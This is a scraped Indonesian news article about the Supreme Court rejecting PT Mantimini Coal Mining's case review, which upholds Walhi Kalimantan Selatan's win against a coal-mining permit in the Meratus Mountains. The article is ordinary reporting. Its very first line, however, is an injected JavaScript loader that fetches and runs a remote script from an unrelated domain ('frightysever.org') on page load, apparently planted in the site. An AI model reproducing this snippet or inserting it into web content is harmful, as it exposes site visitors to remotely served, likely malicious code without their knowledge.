(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

MA Menangkan Walhi Kalsel, Kisworo: #SAVEMERATUS Masih Belum Tuntas!


KANALKALIMANTAN.COM, BANJARBARU – Wahana Lingkungan Hidup (Walhi) Kalimantan Selatan kalahkan surat keputusan (SK) Menteri ESDM terkait izin pertambangan di Pegunungan Meratus. Menyusul palu Mahkamah Agung (MA) yang memutuskan menolak pengajuan PK (Peninjauan Kembali) PT Mantimini Coal Mining (MCM).

“Mahkamah Agung menolak PK yang diajukan PT MCM. Putusan Mahkamah Agung memenangkan gugatan kita,” tegas Direktur Eksekutif Daerah Walhi Kalsel, Kisoworo Dwi Cahyono, saat konferensi pers, Minggu (14/2/2021) siang.

Sebagaimana diketahui, selama kurang lebih 3 tahun terakhir, Walhi Kalsel berjuang menuntut keadilan atas terbitnya SK izin ekploitasi pertambangan di Pegunungan Meratus kepada PT MCM yang ditandatangani Menteri Energi dan Sumber Daya Mineral (ESDM), kala itu dijabat Ignasius Jonan.

Dalam SK tersebut, PT MCM diizinkan mengelola tambang di kawasan Meratus seluas 5.900 hektare dalam tiga wilayah kabupaten di Provinsi Kalimantan Selatan. Yakni Kabupaten Tabalong, Kabupaten Balangan dan Kabupaten Hulu Sungai Tengah (HST).

Terbitnya SK bernomor 441.K/30/DJB/2017 itu membuat Walhi mengajukan gugatan ke Pengadilan Tata Usaha Negara (PTUN) Jakarta pada Oktober 2018. Awalnya gugatan ini ditolak majelis hakim PTUN Jakarta, bahkan sebanyak dua kali.

Namun perjuangan Walhi tak berhenti sampai di situ. Pengajuan kasasi ke tingkat Mahkamah Agung akhirnya menuai hasil memuaskan. Dalam amar putusan, Mahkamah Agung mengabulkan seluruh gugatan Walhi Kalsel, sekaligus juga membatalkan seluruh putusan PTUN Jakarta.

Meskipun PT MCM berupaya mematahkan momentum kemenangan itu dengan mengajukan PK, namun palu hakim Mahkamah Agung tetap berpihak pada kemenangan Walhi. Tepat tanggal 4 Februari 2021, Mahkamah Agung memutuskan menolak pengajuan PK dari PT MCM.

Dengan putusan ini, artinya Pegunungan Meratus terselamatkan dari eksploitasi tambang yang berpotensi merusak ekosistem dan keragaman hayati di kawasan paru-paru pulau Kalimantan tersebut. Jerih perjuangan yang memakan waktu dan tenaga para penggiat lingkungan serta dukungan masyarakat yang sejak lama menggaungkan tagar #SAVEMERATUS kini telah terbayarkan.

Kisworo mengungkapkan, dikabulkannya gugatan Walhi Kalsel merupakan kemenangan masyarakat Kalimantan Selatan. Namun dirinya menekankan bahwa perjuangan menyelamatkan kawasan pegunungan Meratus masih harus menempuh jalan panjang.

“Pegunungan Meratus dari dulu terancam dieksploitasi. Pada tahun 80 dan 90 dulu, sektor kayu yang mengancam. Sekarang isu tambang. Memang kita menang gugatan, tapi ini masih satu perusahaan saja. Perjuangan kita masih panjang. Saya harap dengan kemenangan ini membuat kita semakin semangat untuk terus melindungi pegunungan Meratus,” bebernya.

Menyelamatkan kawasan Meratus dari ekploitasi tambang maupun perkebunan sawit, ujar Kisworo, menjadi sebuah kewajiban. Apalagi saat ini Kalimantan Selatan dihadapkan pada bencana ekologis tiap tahunnya.

“Dan tahun 2021 ini Kalsel dilanda bencana banjir besar yang dampaknya sangat parah. Tiap tahun pasti banjir kalau musim hujan dan kalau musim kemarau pasti kebakaran hutan dan lahan (Karhutla). Kami menyebut Kalsel dalam posisi darurat ruang dan darurat bencana ekologis. Bayangkan jika kawasan Meratus dieksploitasi, tentu bencana ekologis akan lebih parah lagi,” beber Cak Kis. (kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Bie

 

 

 

 


Al Ghifari

Recent Posts

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

18 menit ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

33 menit ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

44 menit ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

1 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

1 jam ago

Peringatan Hardiknas dan Hari Otda, Wabup Banjar Bacakan Sambutan 2 Menteri

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Pendidikan Nasional (Hardiknas) dan Hari Otonomi Daerah ke-28 tahun 2024… Read More

3 jam ago

This website uses cookies.